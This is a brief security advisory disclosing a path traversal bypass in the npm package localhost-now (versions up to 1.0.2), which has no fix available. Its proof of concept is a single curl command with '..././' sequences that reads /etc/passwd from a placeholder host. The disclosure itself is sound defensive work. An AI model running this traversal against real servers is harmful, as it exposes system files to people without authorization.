GHSA-73cw-jxmm-qpghHighDisclosed before NVD

Path Traversal in localhost-now

Published
June 11, 2019
Last Modified
January 9, 2023

📋 Description

All versions of localhost-now are vulnerable to path traversal. This vulnerability is a bypass to the path traversal fix introduced in version 1.0.2

Proof of concept:

$ curl -v --path-as-is "http://IP:5432/..././..././..././..././..././..././..././..././..././..././etc/passwd"

Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module until a fix is available.

🎯 Affected products1

  • npm/localhost-now:<= 1.0.2

🔗 References (4)